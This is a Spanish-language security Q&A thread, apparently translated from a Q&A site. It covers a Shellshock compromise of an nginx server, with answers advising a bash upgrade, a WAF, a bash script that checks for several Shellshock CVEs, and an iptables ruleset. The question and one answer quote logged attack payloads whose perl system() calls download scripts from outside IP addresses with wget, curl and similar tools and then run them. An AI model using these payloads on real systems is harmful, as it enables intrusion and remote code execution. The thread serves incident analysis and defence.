Estoy "Shell Shocked" (secuencia de comandos remota descargada y ejecutada). ¿Puedo prohibir las descargas de archivos como medida de seguridad?

3

Hace unos días, alguien probó una serie de solicitudes en nuestra instancia de nginx. Todos fallaron excepto uno.

54.164.156.8 - - [**/Mar/2015:**********] "GET / HTTP/1.1" 200 393 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*\x22);'"

Este obtuvo un HTTP 200 de nginx y, de hecho, se creó un ejecutable b en /tmp/ (también había algunos otros ejecutables de nombres extraños e inesperados). No solo eso. Poco después, el tráfico de red en nuestros servidores se disparó y se midieron más de 500 gigas.

Todo listo. No se preocupe por la leche derramada. Hemos reiniciado ese servidor.

Tenemos (lo que creemos) prácticas razonables en lo que respecta a los servidores: actualizamos los paquetes de distribución a diario, vigilamos los registros, hemos tocado las configuraciones para iptables, ssh y similares. Pero nginx (¿bash?) Fue grosero con nosotros, no debería haber permitido eso.

De todos modos, al reiniciar el servidor, esta vez hemos purgado curl y wget. ¿Es de alguna ayuda (los atacantes pueden usar bibliotecas inherentes como urllib para python)?

¿Es incluso posible bloquear la descarga de archivos arbitrarios, especialmente dado que muchos vectores de ataque implican la descarga de scripts remotos y la ejecución local? ¿Será de alguna ayuda?

¿Qué más podemos hacer para protegernos, más aún después de que el atacante ya sabe que ha empeñado la dirección IP una vez, seguramente debe volver a aparecer?

La fecha y la hora en el registro se han eliminado deliberadamente

    
pregunta WeaklyTyped 18.03.2015 - 18:09
fuente

2 respuestas

4

Eliminar curl y wget es simplemente un golpe de velocidad para tus atacantes. Tienes un caso de ejecución remota de código, lo que significa que eres el propietario sin importar qué. / bin / cat / etc / passwd es uno de los favoritos para los shocks de shell, ¡y no puedes eliminar el gato!

Lo que debes hacer es actualizar tu paquete de bash. Mencionaste que habías borrado la caja y habías vuelto a empezar. Es un excelente primer instinto. Ahora, necesita actualizar y mantener su caja actualizada! La forma más sencilla de hacerlo es a través de su administrador de paquetes , así que hágalo antes. ponlo en linea Luego, configure una política de actualización de seguridad automática. Consulte la documentación de su distribución para hacer eso.

Usted tiene razón al suponer que su atacante querrá volver a una casilla ya comprometida. Después de actualizar bash, serás inmune a Shellshock, pero todavía hay muchos problemas que enfrentan los servidores web. ¿Ha consultado NAXSI ? Este es un servidor de seguridad de aplicaciones web (WAF) que puede proteger su instalación nginx de ataques comunes de una manera basada en reglas.

    
respondido por el Ohnana 18.03.2015 - 18:20
fuente
1

Tengo el mismo caso en una de las máquinas, aquí está el registro:

50.63.25.208 - - [09/Apr/2015:06:32:47 +0200] "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1" 404 136 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* \x22);'"

Para verificar si su servidor es vulnerable a ShellShock:

#!/bin/bash
EXITCODE=0

# CVE-2014-6271
CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6271 (original shellshock): "
if [ $CVE20146271 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+1))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6277
# it is fully mitigated by the environment function prefix passing avoidance
CVE20146277=$((shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2>/dev/null || echo vulnerable) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6277 (segfault): "
if [ $CVE20146277 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+2))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-6278
CVE20146278=$(shellshocker='() { echo vulnerable; }' bash -c shellshocker 2>/dev/null | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-6278 (Florian's patch): "
if [ $CVE20146278 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+4))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7169
CVE20147169=$((cd /tmp; rm -f /tmp/echo; env X='() { (a)=>\' bash -c "echo echo nonvuln" 2>/dev/null; [[ "$(cat echo 2> /dev/null)" == "nonvuln" ]] && echo "vulnerable" 2> /dev/null) | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7169 (taviso bug): "
if [ $CVE20147169 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+8))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7186
CVE20147186=$((bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' 2>/dev/null || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7186 (redir_stack bug): "
if [ $CVE20147186 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+16))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-7187
CVE20147187=$(((for x in {1..200}; do echo "for x$x in ; do :"; done; for x in {1..200}; do echo done; done) | bash || echo "vulnerable") | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-7187 (nested loops off by one): "
if [ $CVE20147187 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+32))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

# CVE-2014-////
CVE2014=$(env X=' () { }; echo vulnerable' bash -c 'date' | grep 'vulnerable' | wc -l)

echo -n "CVE-2014-//// (exploit 3 on http://shellshocker.net/): "
if [ $CVE2014 -gt 0 ]; then
    echo -e "3[91mVULNERABLE3[39m"
    EXITCODE=$((EXITCODE+64))
else
    echo -e "3[92mnot vulnerable3[39m"
fi

exit $EXITCODE

Esa forma de actualizar el bash soluciona este problema:

sudo apt-get update && sudo apt-get install --only-upgrade bash

En el caso del lanzamiento de fin de vida, simplemente hazlo:

sudo do-release-upgrade

Por si acaso agrego más reglas a iptables para cerrar todos los puertos y dejar solo lo que uso y SSH:

*filter

# By default drop
-P INPUT DROP
-P OUTPUT DROP
-P FORWARD DROP

# Allow all loopback 
# Drop all traffic to 127/8 that doesn't use lo0
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A INPUT -d 127.0.0.0/8 -j REJECT

#  Accept all established inbound connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# allow the machine to browse the internet
-A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m tcp --sport SSH-PORT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport SSH-PORT -j ACCEPT

# DNS
-A INPUT -p udp -m udp --sport 53 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

#  Allow all outbound traffic
-A OUTPUT -j ACCEPT

#  Allow HTTP and HTTPS connections from anywhere (the normal ports for websites and SSL).
-A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT -p tcp --dport 443 -j ACCEPT

#  Allow SSH connections
-A INPUT -p tcp -m state --state NEW --dport SSH-PORT -j ACCEPT

# blocking repeated attempts 
-A INPUT -p tcp --dport SSH-PORT -m state --state NEW -m recent --set --name ssh --rsource
-A INPUT -p tcp --dport SSH-PORT -m state --state NEW -m recent ! --rcheck --seconds 60 --hitcount 4 --name ssh --rsource -j ACCEPT

# SSH Brute Force Protection
-N LOGDROP
-A LOGDROP -j LOG
-A LOGDROP -j DROP
-I INPUT -p tcp --dport SSH-PORT -i eth0 -m state --state NEW -m recent --set
-I INPUT -p tcp --dport SSH-PORT -i eth0 -m state --state NEW -m recent  --update --seconds 60 --hitcount 4 -j LOGDROP

#  Allow ping
-A INPUT -p icmp --icmp-type echo-request -j ACCEPT

#  Log iptables denied calls
-A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables denied: " --log-level 7

# Validate packets
-A INPUT   -m state --state INVALID -j DROP  
-A FORWARD -m state --state INVALID -j DROP  
-A OUTPUT  -m state --state INVALID -j DROP  
-A INPUT -p tcp -m tcp --tcp-flags SYN,FIN SYN,FIN -j DROP 
-A INPUT -p tcp -m tcp --tcp-flags SYN,RST SYN,RST -j DROP 

# Reject Invalid networks (Spoof)
-A INPUT -s 10.0.0.0/8       -j DROP
-A INPUT -s 192.0.0.1/24     -j DROP
-A INPUT -s 169.254.0.0/16   -j DROP
-A INPUT -s 172.16.0.0/12    -j DROP
-A INPUT -s 224.0.0.0/4      -j DROP
-A INPUT -d 224.0.0.0/4      -j DROP
-A INPUT -s 240.0.0.0/5      -j DROP
-A INPUT -d 240.0.0.0/5      -j DROP
-A INPUT -s 0.0.0.0/8        -j DROP
-A INPUT -d 0.0.0.0/8        -j DROP
-A INPUT -d 239.255.255.0/24 -j DROP
-A INPUT -d 255.255.255.255  -j DROP

#  Drop all other inbound - default deny unless explicitly allowed policy
-A INPUT -j DROP
-A FORWARD -j DROP

COMMIT
    
respondido por el Garistar 09.04.2015 - 10:58
fuente

Lea otras preguntas en las etiquetas